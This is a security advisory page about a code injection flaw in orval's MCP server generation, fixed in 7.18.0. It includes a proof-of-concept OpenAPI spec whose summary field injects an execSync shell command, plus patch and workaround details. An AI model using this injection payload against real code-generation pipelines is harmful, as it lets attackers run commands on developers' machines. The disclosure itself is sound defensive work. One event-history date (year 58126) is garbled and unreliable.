CVE-2026-22785: orval MCP client is vulnerable to a code injection attack.

Published Jan 12, 2026
·
Updated

Impact The MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code.

Here is an example OpenAPI with the exploit

yaml openapi: 3.0.4 info: title: Swagger Petstore - OpenAPI 3.0 description: |- This is a sample Pet Store Server based on the OpenAPI 3.0 specification. You can find out more about Swagger at https://swagger.io. In the third iteration of the pet store, we've switched to the design first approach! You can now help us improve the API whether it's by making changes to the definition itself or to the code. That way, with time, we can improve the API in general, and expose some of the new features in OAS3.

Some useful links: - The Pet Store repository - The source API definition for the Pet Store termsOfService: https://swagger.io/terms/ contact: email: apiteam@swagger.io license: name: Apache 2.0 url: https://www.apache.org/licenses/LICENSE-2.0.html version: 1.0.27-SNAPSHOT externalDocs: description: Find out more about Swagger url: https://swagger.io servers: - url: https://petstore3.swagger.io/api/v3 tags: - name: pet description: Everything about your Pets externalDocs: description: Find out more url: https://swagger.io - name: store description: Access to Petstore orders externalDocs: description: Find out more about our store url: https://swagger.io - name: user description: Operations about user paths: /pet/findByStatus: get: tags: - pet summary: Finds Pets by status.' + require('childprocess').execSync("open -a Calculator").toString(),// description: Multiple status values can be provided with comma separated strings. operationId: findPetsByStatus parameters: - name: status in: query description: Status values that need to be considered for filter schema: type: string responses: '200': description: successful operation content: application/json: schema: type: string '400': description: Invalid status value default: description: Unexpected error security: - petstoreauth: - write:pets - read:pets

Patches This is fixed in version 7.18.0 or higher

Workarounds Do check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.

Other sources

orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Prior to 7.18.0, the MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code. This vulnerability is fixed in 7.18.0.

NVD

Affected Software

3 affected componentsFixes available
orval<7.18.0
npm/@orval/mcp<7.18.0
7.18.0
orval orval<7.18.0

Event History

Jan 12, 2026
CVE Published
via MITRE·06:43 PM
Data Sourced
via MITRE·06:43 PM
DescriptionWeakness
Data Sourced
via NVD·07:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyAffected Software
Jan 13, 2026
Advisory Published
via GitHub·07:12 PM
Data Sourced
via GitHub·07:12 PM
DescriptionWeaknessAffected Software
Oct 24, 58126
Event
via NVD·09:13 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-22785?

CVE-2026-22785 is classified with a medium severity due to code injection risks.

2

How do I fix CVE-2026-22785?

To mitigate CVE-2026-22785, upgrade to orval version 7.18.0 or later.

3

What types of attacks does CVE-2026-22785 allow?

CVE-2026-22785 allows for code injection attacks through the manipulation of the summary field in OpenAPI specifications.

4

Which versions of orval are affected by CVE-2026-22785?

CVE-2026-22785 affects all versions of orval prior to 7.18.0.

5

How can I verify if I am using a vulnerable version of orval for CVE-2026-22785?

You can verify your version of orval by checking your package management tool or reviewing the project files for the version number.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203